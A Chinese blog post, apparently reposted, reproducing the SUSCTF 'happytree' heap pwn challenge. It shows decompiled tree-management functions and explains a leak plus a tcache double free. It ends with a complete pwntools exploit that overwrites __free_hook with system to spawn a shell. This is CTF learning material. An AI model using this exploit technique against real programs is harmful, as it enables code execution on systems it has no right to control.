其他分享
首页 > 其他分享> > susctf pwn happytree复现

susctf pwn happytree复现

作者:互联网

1.逆向分析

大概是一个二叉树,通过data递归管理,管理堆没有清空子树指针,所以可以伪造堆块造成double free

 

 创造一个0x20的管理块,分别写入data大小,以及创建的数据堆块的地址

然后通过data为索引进行管理,小size放左子树,大size放在右子树,递归调用

_QWORD *__fastcall sub_116C(__int64 a1, _QWORD *a2, unsigned int a3)
{
  _QWORD *v4; // [rsp+10h] [rbp-20h]
  _DWORD *v5; // [rsp+20h] [rbp-10h]

  v4 = a2;
  if ( !a2 )
    return 0LL;
  if ( (signed int)a3 >= *(_DWORD *)a2 )
  {
    if ( (signed int)a3 <= *(_DWORD *)a2 )
    {
      if ( a2[2] && a2[3] )
      {
        v5 = (_DWORD *)dontknow(a1, a2[3]);
        *(_DWORD *)a2 = *v5;
        a2[3] = dele(a1, a2[3], (unsigned int)*v5);
      }
      else
      {
        if ( a2[2] )
        {
          if ( !a2[3] )
            v4 = (_QWORD *)a2[2];
        }
        else
        {
          v4 = (_QWORD *)a2[3];
        }
        operator delete((void *)a2[1], 1uLL);
        operator delete(a2, 0x20uLL);
      }
    }
    else
    {
      a2[3] = dele(a1, a2[3], a3);
    }
  }
  else
  {
    a2[2] = dele(a1, a2[2], a3);
  }
  return v4;
}

dele的逻辑也差不多,递归调用删除,就是当左右子树同时存在的时候,有个函数,一开始没看清楚就叫dontknow了

__int64 __fastcall sub_F72(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  __int64 v3; // [rsp+18h] [rbp-8h]

  result = a2;
  v3 = a2;
  if ( !a2 )
    return 0LL;
  while ( v3 )
  {
    if ( !*(_QWORD *)(v3 + 16) )
      return v3;
    result = *(_QWORD *)(v3 + 16);
    v3 = result;
  }
  return result;
}

那个dontknow函数,逻辑看的不是很清楚,当左右子树都存在的时候会先看右子树里是否存在左子树,似乎是先做了一个前向的递归?不过动调看来对题目影响不是很大

__int64 __fastcall show(__int64 a1, __int64 a2, int a3)
{
  __int64 result; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // [rsp+28h] [rbp-8h]

  result = a2;
  v6 = a2;
  if ( a2 )
  {
    while ( v6 )
    {
      if ( a3 == *(_DWORD *)v6 )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
        v5 = std::operator<<<std::char_traits<char>>(&std::cout, *(_QWORD *)(v6 + 8));
        return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      }
      if ( a3 <= *(_DWORD *)v6 )
        result = *(_QWORD *)(v6 + 16);
      else
        result = *(_QWORD *)(v6 + 24);
      v6 = result;
    }
  }
  else
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find");
    result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  }
  return result;

show函数,按照data索引输出,没啥好说的

2.利用

因为以前做的doublefree uaf啥的基本都是给edit挂进去直接改就行,所以这题一开始折腾半天没想明白咋利用,最后就面向wp复现了

大概思路就是

1.发现堆块里面的数据free完以后再拿出来,里面的指针没有被清空,所以可以很轻易的泄露heap_base和libc

2.fake_fd,我们可以申请一个0x20的堆块(管理块同大),在写入fake_fd(指向fake_chunk),然后free掉,这样数据块里的指针就会保留下来并链入tcache,然后连续两次add,第二次add的管理块的左子树就会残留我们布局好的fake_fd

3.构造fake_chunk,上一步我们构造好了指向fake_chunk位置的fake_fd,那么下一步我们只需要在该处构造fake_chunk,将该处伪造成一个的管理块,并且他的数据块的指针指向当前堆内第一个tcache。

然后将我们刚刚伪造的fake_chunk free掉,即可完成doublefree

 

3.exp

from pwn import *
p = process("./happytree")
libc = ELF("libc-2.27.so")
def add(data,content):
    p.recvuntil("cmd> ")
    p.sendline("1")
    p.recvuntil("data: ")
    p.sendline(str(data))
    p.recvuntil("content: ")
    p.send(content)
def free(data):
    p.sendlineafter('cmd>','2')
    p.sendlineafter('data:',str(data))
def show(data):
    p.sendlineafter('cmd>','3')
    p.sendlineafter('data:',str(data))
for i in range(8):
    add(0x80+i,b'A')
for i in range(8):
    free(0x80+7-i)
add(0x70,b'A'*8)
show(0x70)
p.recvuntil(b'A'*8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x80-0x60-0x10-libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
print(hex(libc_base))
free(0x70)
add(0x20,b'\xb0')
show(0x20)
p.recvuntil("content: ")
heap_base = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))-0x120b0
print(hex(heap_base))
free(0x20)
payload = p64(0)+p64(0)+p64(heap_base+0x11eb0)*2
add(0x20,payload)
free(0x20)
payload = b'/bin/sh\x00'+p64(0x31)+p64(0x20)+p64(heap_base+0x120b0)
add(0x68,payload)
add(0x40,b'\n')
free(0x20)
add(0x21,p64(free_hook))
add(0x22,p64(sys))
add(0x23,b'/bin/sh\x00')
free(0x23)
#gdb.attach(p)
p.interactive()

 

标签:__,add,free,susctf,a2,int64,pwn,data,happytree
来源: https://www.cnblogs.com/refrain-again/p/16063709.html